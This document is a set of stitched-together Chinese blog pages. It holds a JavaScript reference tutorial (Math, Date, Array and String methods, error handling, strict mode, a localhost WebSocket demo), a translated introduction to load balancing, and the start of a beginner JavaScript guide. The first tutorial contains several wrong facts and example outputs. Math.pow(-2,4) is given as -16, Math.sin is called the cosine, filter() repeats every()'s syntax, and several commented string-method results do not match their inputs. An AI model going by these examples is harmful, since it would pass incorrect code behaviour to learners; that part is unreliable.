Math.floor()将一个浮点值下舍人为最接近的整数。Math.floor()执行的操作不同于Math.round(),它总是进行下舍人,而不是上舍入或下舍人到最接近的整数。还要注意,Math.floor()将负数舍入为更小的负数,而不是向0进行舍入。 参数 x 任意的数值或表达式。 返回值 小于等于x,并且与它最接近的整数。 示例: console.log( Math.floor(1.99)); // 结果为1 console.log( Math.floor(1.01)); // 结果为1 console.log( Math.floor(1.0)); // 结果为1 console.log( Math.floor(-1.01)); // 结果为-2 (5)Math.round() – 四舍五入 语法结构: `Math.round(*x*)` 描述 Math.round( )将把它的参数上舍入或下舍入到与它最接近的整数。注意对于0.5,它将向上舍入。例如,2.5将被舍入为3,-2.5将被舍入为-2。 console.log(Math.round(5.6));//6 console.log(Math.round(5.1));//5 console.log(Math.round(5.5));//6 console.log(Math.round(-5.1));//-5 console.log(Math.round(-5.6));//-6 console.log(Math.round(-5.5));//-5 (6)Math.abs( ) – 求绝对值 console.log(Math.abs(5.6));//5.6 console.log(Math.abs(-5.6));//5.6 console.log(Math.abs(6));//6 (7)Math.max – 最大值 Math.min – 最小值 语法结构: `Math.max(*args...*)` 参数 args 0个或多个值。在ECMAScriptv3之前,该方法只有两个参数。 返回值 Math.max() 返回参数中最大的值。如果没有参数,返回-Infinity。如果有一个参数为NaN,或是不能转换成数字的非数字值,则返回 NaN。 Math.min() 返回参数中最小的值。如果没有参数,返回Infinity。如果有一个参数为NaN,或是不能转换成数字的非数字值,则返 NaN。 示例: console.log(Math.min(1,4,7,9));// 1 console.log(Math.max(1,4,7,9));// 9 console.log(Math.max(1,4,7,9,'av'));// NaN console.log(Math.min(1,4,7,9,'av'));//NaN console.log(Math.min());//Infinity console.log(Math.max());//-Infinity (8)Math.sin() – 正弦 Math.cos() – 余弦 语法结构: `Math.cos(*x*)` 参数 x 一个角的弧度值。要把角度转换成弧度,只需把角度值乘以(2π/360)。 返回值 Math.cos() 指定的值x的余弦值。返回的是-1.0 和 1.0. Math.sin() 指定的值x的余弦值。返回的是-1.0 和 1.0. (9)Math.pow – 求指数次幂 Math.sqrt() – 求平方根 语法结构: `Math.pow(*x*, *y*) ` 描述 Math.pow() 如果结果是虚数或负数,则该方法将返回 NaN。如果由于指数过大而引起浮点溢出,则该方法将返回 Infinity 参数 Math.pow() x 必需。底数,必须是数字 y 必需。幂数,必须是数字 Math.sprt() x 必须。必须是大于等于 0 的数 返回值 Math.pow() 返回x 的 y 次幂。 Math.sprt() 返回参数 x 的平方根。如果 x 小于 0,则返回 NaN。 //Math.pow() document.write(Math.pow(0,0) + "<br />");//1 document.write(Math.pow(0,1) + "<br />");//0 document.write(Math.pow(1,1) + "<br />");//1 document.write(Math.pow(1,10) + "<br />");//1 document.write(Math.pow(2,3) + "<br />");//8 document.write(Math.pow(-2,3) + "<br />");//-8 document.write(Math.pow(2,4) + "<br />");//16 document.write(Math.pow(-2,4) + "<br />");//-16 //Math.sprt() document.write(Math.sqrt(0) + "<br />")//0 document.write(Math.sqrt(1) + "<br />")//1 document.write(Math.sqrt(9) + "<br />")//3 document.write(Math.sqrt(0.64) + "<br />")//0.8 document.write(Math.sqrt(-9))//NaN (8)toFixed() 方法可把 Number 四舍五入为指定小数位数的数字。 (9)案例 // 10 - 20 之间的随机数 var rand = Math.floor(Math.random()*10+10); console.log(rand); //随机生成颜色RGB function getRandColor () { var colorValue = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']; var s = '#'; for (var i = 0; i < 6; i++) { s += colorValue[Math.floor(Math.random()*16)]; } return s; } document.write(getRandColor ()); Date 对象 创建 Date 实例用来处理日期和时间。Date 对象基于1970年1月1日(世界标准时间)起的毫秒数。 (1)创建 Date 对象的语法: var myDate = new Date(); //获取当前日期的时间戳 var now = new Date(); //console.log(now); 默认是返回时间的英文格式 // valueOf用于获取对象的时间戳 console.log(now.valueOf()); // HTML5中提供的方法,有兼容性问题 var now = Date.now(); // 返回毫秒数 // 不支持HTML5的浏览器,可以用下面这种方式 var now = + new Date(); // 调用 Date对象的valueOf() (2)Date 构造函数的参数 毫秒数 1498099000356 new Date(1498099000356) 日期格式字符串 ‘2015-5-1’ new Date(‘2015-5-1’) 年、月、日…… new Date(2015, 4, 1) // 月份从0开始 //获取指定时间 var now = new Date(2015,0,6);//不加引号月份从0开始 var now1 = new Date('2015,1,6');//加引号月份从1开始 var now2 = new Date('2015-1-6');//同上 console.log(now); console.log(now1); console.log(now2); (3)格式化日期的方法 toString() // 转换成字符串 valueOf() // 获取毫秒值 // 下面格式化日期的方法,在不同浏览器可能表现不一致,一般不用 toDateString() //英文模式 toTimeString() //中国时间,时分秒 toLocaleDateString() //年/月/日 toLocaleTimeString() //下午 时分秒 //获取 年-月-日 时:分:秒(需要判断去掉 上/下午) dd.toLocaleDateString() + dd.toLocaleTimeString() 示例: var now = new Date('2015-01-15'); console.log(now.toDateString()); //Thu Jan 15 2015 console.log(now.toTimeString()); //08:00:00 GMT+0800 (中国标准时间) console.log(now.toLocaleDateString());//2015/1/15 console.log(now.toLocaleTimeString());//上午8:00:00 (4)Date 对象的方法 getTime() // 返回毫秒数和valueOf()结果一样,valueOf()内部调用的getTime() getMilliseconds() getSeconds() // 返回秒 0-59 getMinutes() // 返回分 0-59 getHours() // 返回时 0-23 getDay() // 返回星期几 0代表周日 6代表周6 getDate() // 返回当前月的第几天 getMonth() // 返回月份,从0开始 getFullYear() //返回4位的年份 如 2016 toDateString() //英文模式 toTimeString() //中国时间,时分秒 toLocaleDateString() //年/月/日 toLocaleTimeString() //下午 时分秒 示例: var now = new Date('2019-10-15 06:00:05'); console.log(now.getTime());//获取时间戳 console.log(now.getSeconds());//获取指定时间的秒 console.log(now.getMinutes());//获取指定时间的分 console.log(now.getHours());//获取指定时间的分 console.log(now.getDay());//获取指定日期是星期几 console.log(now.getDate());//获取指定日期是当月的第几天 console.log(now.getMonth());//获取指定日期的月份,从0开始 console.log(now.getFullYear());//获取指定日期的四位数年份 // 去掉获取时间格式的 上下午 var time = new Date().toLocaleTimeString(); function conversionTime (time) { var daytime = time.substring(0,2);//截取汉字上下午 var currentTime = time.substring(2,time.length);//截取除上下午之外的时间 var timeList = currentTime.split(':');//转化为数组 console.log(timeList); if (daytime === '下午' && timeList[0] <= 12) { //对下午时间进行操作 timeList[0] = *Number*(timeList[0]) + 12;//第0个元素为当前小时数 + 12 currentTime = timeList.toString().replace(/,/g,';');//toString 将数组拼接成字符串 } return currentTime; } console.log(conversionTime (time)); 练习: 获取某月有多少天? 思路: new Date() 第三个参数默认为 1,就是每个月的 1 号,把它设置为 0 时,new Date() 会返回上一个月的最后一天,然后通过 getDate() 方法得到天数,所以month 的值本应该是 +1。但是需要注意的是,Date 函数中的月份是从 0 开始的,所以这里直接用 month的值即可。 //获取某月有多少天 function getMonthDay (year, month) { var days = new Date(year,month,0).getDate(); return days; } console.log(getMonthDay(2019,5)); Array() 其他数组函数见 第9章 数组 中的数组常用函数 every() – 检测数组所有元素是否都符合指定条件 语法结构: bool array.every(function(currentValue[,index,arr]), thisValue) 描述/返回值 如果数组中检测到有一个元素不满足,则整个表达式返回 false ,且剩余的元素不会再进行检测 如果所有元素都满足条件,则返回true 参数 function 必须是函数。数组中的每个元素都会执行这个函数. ​ 函数的参数:currentValue 必选 当前元素的值。 ​ index 可选 当前元素的索引值。 ​ arr 可选 当前元素所属的数组对象 thisValue 可选。对象作为该执行回调时使用,传递给函数,用作 “this” 的值。 如果省略了 thisValue ,“this” 的值为 “undefined” 注意: every() 不会对空数组进行检测 every() 不会改变原始数组 示例: var eArr = [1,8]; function check (eArr) { return eArr >= 7; } document.write(eArr.every(check)); 检测一个对象是否是数组 instanceof Array.isArray() HTML5中提供的方法,有兼容性问题 函数的参数,如果要求是一个数组的话,可以用这种方式来进行判断 toString()/valueOf() toString() 把数组转换成字符串,逗号分隔每一项 valueOf() 返回数组对象本身 数组常用函数 见数组章节 后续补充 some()是对数组中每一项运行给定函数,如果该函数对任一项返回true,则返回true。 用法,参数,返回值同every() every()与some()方法都是JS中数组的迭代方法。 every()是对数组中每一项运行给定函数,如果该函数对每一项返回true,则返回true。 filter() – 方法创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素。 语法结构: bool array.every(function(currentValue[,index,arr]), thisValue) 参数 function 必须是函数。数组中的每个元素都会执行这个函数. ​ 函数的参数:currentValue 必选 当前元素的值。 ​ index 可选 当前元素的索引值。 ​ arr 可选 当前元素所属的数组对象 thisValue 可选。对象作为该执行回调时使用,传递给函数,用作 “this” 的值。 如果省略了 thisValue ,“this” 的值为 “undefined” 注意: every() 不会对空数组进行检测 every() 不会改变原始数组 返回值 返回数组,包含了符合条件的所有元素。如果没有符合条件的元素则返回空数组。 示例: var eArr = [1,8]; function check (eArr) { return eArr >= 7; } document.write(eArr.every(check)); forEach() – 遍历数组用于调用数组的每个元素,并将元素传递给回调函数。 语法结构: undeifined array.forEach(function(currentValue, index, arr), thisValue) 参数 参数 描述 function(currentValue, index, arr) 必需。 数组中每个元素需要调用的函数。 函数参数: 参数 描述 currentValue 必需。当前元素 index 可选。当前元素的索引值。 arr 可选。当前元素所属的数组对象。 thisValue 可选。传递给函数的值一般用 “this” 值。 如果这个参数为空, “undefined” 会传递给 “this” 值 返回值 undeifined 注意: forEach() 对于空数组是不会执行回调函数的。 示例: var numbers = [65, 44, 12, 4]; numbers.forEach(function(ele,index){ console.log(index+'--'+ele); }); map() – 让数组中的元素依次执行回调函数,并将结果返回 String() 字符串可以看成是一组字符组成的数组 特性:值不可变 可访问 获取 不可修改 (1)String 对象的不可变性 当重新给str赋值的时候,常量’abc’不会被修改,依然在内存中 重新给字符串赋值,会重新在内存中开辟空间,这个特点就是字符串的不可变性 由于字符串的不可变,在大量拼接字符串的时候会有效率问题 (2)创建字符串对象 var str = new String('Hello World'); // 获取字符串中字符的个数 console.log(str.length); (3)字符串对象的常用方法 字符串所有的方法,都不会修改字符串本身(字符串是不可变的),操作完成会返回一个新的字符串 // 1 字符方法 charAt() //获取指定位置处字符 charCodeAt() //获取指定位置处字符的ASCII码 str[0] //HTML5,IE8+支持 和charAt()等效 // 2 字符串操作方法 concat() //拼接字符串,等效于+,+更常用 slice(start,end) //从start位置开始,截取到end位置,end取不到,负数代表从后开始取 substring(start,end) //从start位置开始,截取到end位置,end取不到 //slice 与 substring 的不同之处是 slice 参数可以是负数,而substring参数不可以是负数 substr(start,length) //从start位置开始,截取length个字符 // 3 位置方法 indexOf() //返回指定内容在元字符串中的位置 lastIndexOf() //从后往前找,只找第一个匹配的 // 4 去除空白 trim() //只能去除字符串前后的空白 // 5 大小写转换方法 to(Locale)UpperCase() //转换大写 to(Locale)LowerCase() //转换小写 // 6 其它 search(reg/str) //用于检索字符串中指定的子字符串,或检索与正则表达式相匹配的子字符串。查不到返回-1,查到返回0或大于0的数 replace(要替换的字符,替换成的字符) //可用一个新文档取代当前文档。 split(分隔符[,截取的长度]) //把一个字符串分割成字符串数组。 fromCharCode() // String.fromCharCode(101, 102, 103); //把ASCII码转换成字符串 示例: //字符串相关方法 字符串方法不改变原字符串 //.charAt(index) 返回字符串指定字符 var str = 'abfWFRGfag4dd'; console.log(str.charAt(3));//d //.charCodeAt(index) 对应字符 ASCII 表 或 UTF系列 中数据 console.log(str.charCodeAt(3));//100 //concat 连接多个字符串 var str1 = '123'; var str2 = '456'; console.log(str.concat(str2,str1));//abfds3fag4dd456123 console.log(str.concat(str1,str2));//abfds3fag4dd123456 //indexOf(str, fromIndex) 寻找指定字符的位置 从前向后去搜索 如果找到则返回对应的索引位置 如果没有找到返回-1 // 如果没给第二个参数 默认从0开始 如果指定第二个参数 从指定开始向后找 // 包含当前fromIndex console.log(str.indexOf('f'));//2 console.log(str.indexOf('f',3));//5 //lastIndexOf() 同上,从后向前找 console.log(str.lastIndexOf('f'));//5 console.log(str.lastIndexOf('f',4));//5 //replace(要替换的字符串,替换成什么) 只能改变第一个符合条件的字符,如果向改变所有字符需要用正则 console.log(str.replace('a','我'));//我bfdsfag4dd console.log(str.replace(/a/g,'我'));//我bfdsf我g4dd //slice(start[,end]) 从start到end(不包含end)值间取出 取出一部分 新的字符串 并返回这部分字符串 取注意 取到end之前不包含end console.log(str.slice(2,4));//fd //split(分隔符[,分隔后取几个]) 返回数组 var ss = 'aa | bb | cc | dd'; console.log(ss.split('|')); console.log(ss.split('|',1)); //substr(startindex [,length]) //substring(startIndex [,endIndex]) 注意:不包含endIndex console.log(str.substr(2,3));//fds console.log(str.substring(2,3));//f //toLowerCase() 常用 //toLocaleLowerCase() 包含语言比较多 //toUpperCase() //toLocaleUpperCase(); console.log(str.toLowerCase()); console.log(str.toLocaleLowerCase()); console.log(str.toUpperCase()); console.log(str.toLocaleUpperCase()); //.trim()去除字符串两端留白 var st = ' --dsf-- '; console.log(st); console.log(st.trim()); a: slice() – 提取字符串的某个部分,并以新的字符串返回被提取的部分。 stringObject.slice(start,end) 参数 描述 start 要抽取的片断的起始下标。如果是负数,则该参数规定的是从字符串的尾部开始算起的位置。也就是说,-1 指字符串的最后一个字符,-2 指倒数第二个字符,以此类推。 end 紧接着要抽取的片段的结尾的下标。若未指定此参数,则要提取的子串包括 start 到原字符串结尾的字符串。如果该参数是负数,那么它规定的是从字符串的尾部开始算起的位置。 返回值 一个新的字符串。包括字符串 stringObject 从 start 开始(包括 start)到 end 结束(不包括 end)为止的所有字符。 说明 String 对象的方法 slice()、substring() 和 substr() (不建议使用)都可返回字符串的指定部分。slice() 比 substring() 要灵活一些,因为它允许使用负数作为参数。slice() 与 substr() 有所不同,因为它用两个字符的位置来指定子串,而 substr() 则用字符位置和长度来指定子串。 还要注意的是,String.slice() 与 Array.slice() 相似。 var str="Hello happy world!" document.write(str.slice(6))//happy world! b:split() – 把字符串分隔成数组 stringObject.split(separator,howmany) 参数 描述 separator 必需。字符串或正则表达式,从该参数指定的地方分割 stringObject。 howmany 可选。该参数可指定返回的数组的最大长度。如果设置了该参数,返回的子串不会多于这个参数指定的数组。如果没有设置该参数,整个字符串都会被分割,不考虑它的长度。 返回值 一个字符串数组。该数组是通过在 separator 指定的边界处将字符串 stringObject 分割成子串创建的。返回的数组中的字串不包括 separator 自身。 但是,如果 separator 是包含子表达式的正则表达式,那么返回的数组中包括与这些子表达式匹配的字串(但不包括与整个正则表达式匹配的文本)。 注释: 如果把空字符串 ("") 用作 separator,那么 stringObject 中的每个字符之间都会被分割。 String.split() 执行的操作与 Array.join 执行的操作是相反的。 var str="How are you doing today?" document.write(str.split(" ") + "<br />")//How,are,you,doing,today? document.write(str.split("") + "<br />")//H,o,w, ,a,r,e, ,y,o,u, ,d,o,i,n,g, ,t,o,d,a,y,? document.write(str.split(" ",3))//How,are,you 练习 //截取字符串"我爱中华人民共和国",中的"中华" var s = "我爱中华人民共和国"; s = s.substr(2,2); console.log(s); //"aobocoddddgho"查找字符串中所有o出现的位置 var s = 'abcoefoxyozzopp'; var array = []; do { var index = s.indexOf('o', index + 1); if (index != -1) { array.push(index); } } while (index > -1); console.log(array); //把字符串中所有的o替换成! var s = 'abcoefoxyozzopp'; do { s = s.replace('o', ''); } while (s.indexOf('o') > -1); console.log(s); console.log(s.replace(/o/ig, '')); 基本包装类型 为了方便操作基本数据类型,JavaScript还提供了三个特殊的引用类型:String/Number/Boolean 即字符串、数字、布尔在使用对象的 ( . ) 方法访问其方法或属性时,会自动转成类对象的模式,这种类型被称为基本包装类型。 特点是:基本包装类型是暂时的,并没有改变的数据类型,使用结束后即销毁。 Number和Boolean基本包装类型基本不用,使用的话可能会引起歧义 // 下面代码的问题? // s1是基本类型,基本类型是没有方法的 var s1 = 'zhangsan'; var s2 = s1.substring(5); // 当调用s1.substring(5)的时候,先把s1包装成String类型的临时对象,再调用substring方法, 后销毁临时对象, 相当于: var s1 = new String('zhangsan'); var s2 = s1.substring(5); s1 = null; // 创建基本包装类型的对象 var num = 18; //数值,基本类型 var num = Number('18'); //类型转换 var num = new Number(18); //基本包装类型,对象 // Number和Boolean基本包装类型基本不用,使用的话可能会引起歧义。例如: var b1 = new Boolean(false); var b2 = b1 && true; console.log(b2); // 结果是 true,而交换两个操作数之后呢 var b3 = true && b1; console.log(b3); //Boolean{false},返回的是一个值为 false 的对象 JavaScript错误 语句 描述 try 测试代码块错误,包括语法错误、拼写错误、服务器或用户错误等等。 catch 处理错误语句 throw 抛出错误 finallly 用在try catch之后,无论是否有触发异常,都会执行 语法: try { ... //异常的抛出 } catch(e) { ... //异常的捕获与处理 } finally { ... //结束处理 } <input type="button" value="查看消息" onclick="isError()"> <script> ​ txt = ""; ​ *function* isError(){ ​ try { ​ addlert("hello world"); ​ }catch(err){ ​ txt = "本页有一个错误"; ​ txt += "错误描述" + err.message + "\n"; ​ *var* ara = *Object*.getOwnPropertyNames(err); ​ *console*.log(typeof err); ​ *console*.log(ara); ​ alert(txt); ​ } ​ } ​ </script> 严格模式 “use strict” 指令在 JavaScript 1.8.5 (ECMAScript5) 中新增。 它不是一条语句,但是是一个字面量表达式,在 JavaScript 旧版本中会被忽略。 “use strict” 的目的是指定代码在严格条件下执行。 严格模式下你不能使用未声明的变量。 支持严格格式的浏览器: Internet Explorer 10 +、 Firefox 4+ Chrome 13+、 Safari 5.1+、 Opera 12+。 为什么使用严格模式: 消除Javascript语法的一些不合理、不严谨之处,减少一些怪异行为; 消除代码运行的一些不安全之处,保证代码运行的安全; 提高编译器效率,增加运行速度; 为未来新版本的Javascript做好铺垫。 严格模式的限制 不允许使用未声明的变量,对象也是变量 不允许删除变量或对象,不允许删除函数 不允许变量重名 不允许使用八进制 不允许使用转义字符 不允许对只读属性赋值 不允许对使用getter方法获取的属性赋值 不允许删除一个不允许删除的属性 变量名不能使用eval、arguments关键字 禁止this指向全局对象 表单验证 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pMlYmrPn-1574402375865)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20191118220000688.png)] [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8TIti3u-1574402375866)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20191118220039266.png)] 数据验证 典型的数据验证有: 必需字段是否输入 用户是否输入了合法的路径 是否在数字字段输入文本 HTML约束 约束验证是表单被提交时浏览器用来实现验证的一种算法。 HTML 约束验证基于: HTML 输入属性 CSS 伪类选择器 DOM 属性和方法 约束验证 HTML 输入属性 属性 描述 disabled 规定输入的元素不可用 max 规定输入元素的最大值 min 规定输入元素的最小值 pattern 规定输入元素值的模式 required 规定输入元素字段是必需的 type 规定输入元素的类型 JSON JSON 是用于存储和传输数据的格式。 JSON 通常用于服务端向网页传递数据 。 什么是json websocktet 1、背景 很多网站为了实现推送技术,所用的技术都是Ajax轮询。轮询是在特定的的时间间隔由浏览器对服务器发出HTTP请求,然后由服务器返回最新的数据给客户端的浏览器。这种传统的模式带来很明显的缺点,即浏览器需要不断的向服务器发出请求,然而HTTP请求可能包含较长的头部,其中真正有效的数据可能只是很小的一部分,显然这样会浪费很多的带宽等资源。HTML5新增的一些新协议WebSocket,可以提供在单个TCP连接上提供全双工,双向通信,能够节省服务器资源和带宽,并且能够实时进行通信。 2、WebSocket 传统的http也是一种协议,WebSocket是一种协议,使用http服务器无法实现WebSocket, 2.1.浏览器支持情况 基本主流浏览器都支持 2.2.优点 相对于http有如下好处: 1.客户端与服务器只建立一个TCP连接,可以使用更少的连接。 2.WebSocket服务器端可以主动推送数据到客户端,更灵活高效。 3.更轻量级的协议头,减少数据传送量。 对比轮训机制 3、WebSocket用法 我们了解WebSocket是什么,有哪些优点后,怎么使用呢? 3.1.WebSocket创建 WebSocket使用了自定义协议,url模式与http略有不同,未加密的连接是ws://,加密的连接是wss://,WebSocket实例使用new WebSocket()方法来创建, var Socket = new WebSocket(url, [protocol] ); 第一个参数 url, 指定连接的 URL。第二个参数 protocol 是可选的,指定了可接受的子协议。 3.2.WebSocket属性 当创建ws对象后,readyState为ws实例状态,共4种状态 0 表示连接尚未建立。 1 表示连接已建立,可以进行通信。 2 表示连接正在进行关闭。 3 表示连接已经关闭或者连接不能打开。 **Tips:**在发送报文之前要判断状态,断开也应该有重连机制。 3.3.WebSocket事件 在创建ws实例对象后,会拥有以下几个事件,根据不同状态可在事件回调写方法。 ws.onopen 连接建立时触发 ws.onmessage 客户端接收服务端数据时触发 ws.onerror 通信发生错误时触发 ws.onclose 连接关闭时触发 ws.onmessage = (res) => { console.log(res.data); }; ws.onopen = () => { console.log('OPEN...'); }; ws.onclose=()=>{ console.log('CLOSE...'); } 3.4.WebSocket方法 ws.send() 使用连接发送数据(只能发送纯文本数据) ws.close() 关闭连接 4、Demo演示 了解WebSocket的一些API之后,趁热打铁,做一个小案例跑一下。 4.1.Node服务器端 WebSocket协议与Node一起用非常好,原因有以下两点: 1.WebSocket客户端基于事件编程与Node中自定义事件差不多。 2.WebSocket实现客户端与服务器端长连接,Node基本事件驱动的方式十分适合高并发连接 创建一个webSocket.js如下: const WebSocketServer = require('ws').Server; const wss = new WebSocketServer({ port: 8080 }); wss.on('connection', function (ws) { console.log('client connected'); ws.on('message', function (message) { ws.send('我收到了' + message); }); }); 打开windows命令窗口运行 4.2.HTML客户端 新建一个index.html页面 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>webSocket小Demo</title> </head> <body> <div class="container"> <div> <input type="text" id="msg"> <button onclick="sendMsg()">发送报文</button> </div> </div> <script> const ws = new WebSocket('ws://localhost:8080'); ws.onmessage = (res) => { console.log(res); }; ws.onopen = () => { console.log('OPEN...'); }; ws.onclose = () => { console.log('CLOSE...'); } function sendMsg() { let msg = document.getElementById('msg').value; ws.send(msg); } </script> </body> 打开浏览器依次输入字符1,2,3,每次输入完点击发送报体,可见在ws.onmessage事件中res.data中返回来我们发的报文 5、问题与总结 以上只是简单的介绍了下WebSocket的API与简单用法,在处理高并发,长连接这些需求上,例如聊天室,可能WebSocket的http请求更加合适高效。

优秀的个人博客,低调大师

负载均衡概念入门

当个人电脑刚刚开始走进人们工作和生活领域时,一个家庭通常最多只有1台电脑。孩子们白天使用电脑玩游戏,而大人们晚上通过电脑在论坛上灌水。但现如今只有一台电脑的家庭很容易出现每个人在同一时间都需要使用电脑的情况。这或多或少与IT行业发生的情况相同。因为计算机已经变得越来越普遍了,对服务和服务器的需求已经增加到它们可能因为过度使用而宕机的程度。幸运的是,我们现在有负载均衡的概念来帮助我们处理这一需求。 什么是负载均衡? 负载均衡是一个通用的术语,指的是为了确保你所管理的资源得到有效分配而做的任何事情。对于网络服务器的系统管理员来说,负载均衡通常意味着确保网络服务器软件(如Nginx)配置了足够的worker节点以处理激增的访客。换句话说,如果一个网站突然变得非常受欢迎,其访客数量在几分钟之内翻了几倍,运行服务器的软件必须能够对这一情况做出反应,而不会让用户感到访问变得不流畅。对于简单的站点来说,只需要进行简单的配置即可,但对于具有动态内容并且每个用户几个数据库查询的复杂站点,这可能是一个难以处理的问题。 这个问题本应随着云计算的发展而解决,但是,当一个网络应用遇到意外的激增时,也有可能无法及时进行扩容。 当谈及负载均衡的时候,请记住一点分布式资源并不意味着均匀分配。并不是所有任务都一直需要所有可用的资源。一个智能的负载均衡策略应该只在合适的时候为用户和任何提供资源。当然,这通常是开发工程师处理而不是IT基础架构部门的工作。异步应用可以当用户短暂离开时而不在服务器上占用有价值的资源。 负载均衡的工作原理 负载均衡通过在多个计算节点上分布工作负载而避免了瓶颈。那些节点可能是数据中心的物理服务器、云端中的容器、面向边缘计算场景设置的服务器、在复杂应用程序框架中的Java虚拟机(Java Virtual Machines)或者运行在单个Linux服务器上的daemon。 具体实现原理是将大问题拆分成若干个小任务,并为每个任务分配指定计算机。例如,对于需要用户登录的网页,网页可能被托管在Server A上,与此同时登陆页面以及所有身份验证lookups被托管在Server B上。这种部署方式可以使得一个新用户登录到账号上时无需从其他活跃用户处使用资源。 云端负载均衡 云计算使用容器,所以通常没有独立的物理服务器来处理不同的任务(实际上,有许多独立的服务器,但它们被集中在一起,作为一个计算 "大脑")。相反,一个 "pod "是由几个容器创建的。当一个pod由于其用户或任务负载而开始耗尽资源时,会生成一个相同的pod。Pod之间共享存储和网络资源,每个pod在创建时被分配到一个计算节点。pod可以根据负载的需要创建或销毁,这样,无论有多少用户,用户都能体验到一致的服务质量。 边缘计算 边缘计算在进行负载均衡时需要考虑到物理世界。云是一个分布式系统,但在实际上,云的节点通常集中在几个数据中心。用户离运行云的数据中心越远,他们就必须克服更多的物理障碍以获得最佳服务。即使有光纤连接和适当的负载均衡,位于3000公里外的服务器的响应时间也可能比300公里外的服务器响应时间更长。 边缘计算将计算节点带到云的“边缘”以试图弥合地理鸿沟,从而形成一种用于云端的卫星网络,所以它在良好的负载均衡中也发挥了作用。 什么是负载均衡算法? 负载均衡有很多策略,它们的复杂程度取决于所涉及的技术和需求的不同。负载均衡不一定很复杂,即使使用Kubernetes或Keepalived这样的专业软件,也要从一开始就进行负载均衡。 当你的应用程序可以自己采取简单的预防措施时,不要依赖容器来均衡负载。如果你从一开始就把你的应用程序设计成模块化且短暂的,那么你就会从巧妙的网络设计、容器编排以及未来的任何技术所带来的负载均衡机会中受益。 一些流行的算法可以指导你作为一个应用开发者或网络工程师的工作,包括: 将任务按顺序分配给服务器(这通常被称为轮询调度 round-robin) 将任务分配给目前最不繁忙的服务器 将任务分配到响应时间最好的服务器上 随机地分配任务 这些原则可以结合或加权,例如,在分配特别复杂的任务时,偏向于一个组中最强大的服务器。编排是常用的,这样管理员就不必为负载均衡鼓捣出完美的算法或策略,尽管有时要由管理员来选择使用哪种负载均衡方案的组合。 期待意外的发生 负载均衡并不是真正要确保你的所有资源在整个网络中得到均匀使用。负载均衡是指即使在意外情况发生时也要确保可靠的用户体验。良好的基础架构可以承受计算机宕机、应用程序过载、网络流量的猛烈攻击和用户错误。你可以开始思考如何让服务具有弹性,并从头开始设计相应的负载均衡。 原文链接: https://opensource.com/article/21/4/load-balancing

优秀的个人博客,低调大师

JavaScript简单快速入门

“ 别害怕顾虑,想到就去做,这世界就是这样,当你把不敢去实现梦想的时候梦想就会离你越来越远,当你勇敢地去追梦的时候,全世界都会来帮你。”你好,我是梦阳辰!未来我陪你一起成长! 01.变量 定义:变量是存储信息的“容器”,是内存单元。 1.格式: var pi;//声明变量 var x =5;//赋值 2.注意:如果重新声明变量,该变量的值不会丢失。 var name = "MengYangChen"; var name; name的值依然是MengYangChen 3.动态类型 变量的类型,为赋值语句后面数据的类型。 var x;//如果没有赋值默认为undefined var x =3; var = "MengYangChen"; 4.变量的作用域: 再javaScript中,对象和函数同样也是变量。 4.1局部变量:变量在函数内声明,变量为局部作用域,只能在函数内部访问。 function myFunction(){ var age = 20; } 注意:如果在函数内没有声明(即没有使用var关键字),改变量为全局变量。 4.2全局变量 在函数体外定义,即为全局变量。全局变量具有全局作用域,网页中所有脚本和汉数据可以使用。 4.3JavaScript 中,变量可以在使用后声明,也就是变量可以先使用再声明。 原因:变量提升:函数声明和变量声明总是会被解释器悄悄地被"提升"到方法体的最顶部。 x = 5; // 变量 x 设置为 5 elem = document.getElementById("demo"); // 查找元素 elem.innerHTML = x; // 在元素中显示 x var x; // 声明 x 注意:JavaScript 只有声明的变量会提升,初始化的不会。 var x = 5; // 初始化 x elem = document.getElementById("demo"); // 查找元素 elem.innerHTML = x + " " + y; // 显示 x 和 y var y = 7; // 初始化 y 结果: x 为:5,y 为:undefined y 输出了 undefined,这是因为变量声明 (var y) 提升了,但是初始化(y = 7) 并不会提升,所以 y 变量是一个未定义的变量。 5.变量的生命周期 开始:声明时候的初始化。 结束: 局部变量在函数执行完毕销毁。 全局变量在页面关闭后销毁。 6.JavaScript 严格模式(use strict) “use strict” 指令在 JavaScript 1.8.5 (ECMAScript5) 中新增。 它不是一条语句,但是是一个字面量表达式,在 JavaScript 旧版本中会被忽略。 “use strict” 指令只允许出现在脚本或函数的开头。 严格模式下你不能使用未声明的变量。 "use strict"; x = 3.14; // 报错 (x 未定义) 不允许删除变量或对象。 "use strict"; var x = 3.14; delete x; 不允许删除函数。 "use strict"; function x(p1, p2) {}; delete x; // 报错 不允许变量重名。 "use strict"; function x(p1, p1) {}; // 报错 不允许使用8进制,转义字符等。 为什么使用严格模式? 消除Javascript语法的一些不合理、不严谨之处,减少一些怪异行为. 严格模式"体现了Javascript更合理、更安全、更严谨的发展方向,包括IE 10在内的主流浏览器,都已经支持它,许多大项目已经开始全面拥抱它。 另一方面,同样的代码,在"严格模式"中,可能会有不一样的运行结果;一些在"正常模式"下可以运行的语句,在"严格模式"下将不能运行。 02.数据类型 1.javaScript数据类型分为: 值类型(基本类型)/原始数据类型:字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。 引用数据类型:对象(Object)、数组(Array)、函数(Function)。 2.String(字符串) 字符串可以使用单引号或双引号。 比较字符串是否相等用双等号。 2.1字符串对象 第一种:var s=“sag”;(小String,属于String类型) 第二种:var a2= new String(“ab”);(大String,属于Object类型) Sting是一个内置的类,可以直接使用。 3.Number(数字) javaScript只有一种数字类型,可以带小数点,也可以不带。很大的数据可以用科学计数法表示。 var x = 33; var x = 33.00; var y = 12e6; var y = 12e-6; 3.1注意:NaN,表示Not a Number不是一个数字,但是属于Number类型。 Infinity,表示无穷大。 0,-1,123,…小数,复数,无穷大都是属于number类型。 当除数为0时,结果为无穷大。 isNaN(数据):结果为true表示不是一个数字。 parseInt()函数:可以将字符串自动转换成数字。保留Int。 parseFloat()函数:将字符串转换成数字。 Math.Ceil()函数:向上取整。2.1会变为3。 4.Boolean数据类型 布尔(逻辑)只能有两个值:true 或 false。 注意:当某个地方一定是boolean类型时,会自动转换成boolean类型。例如if后面的括号。 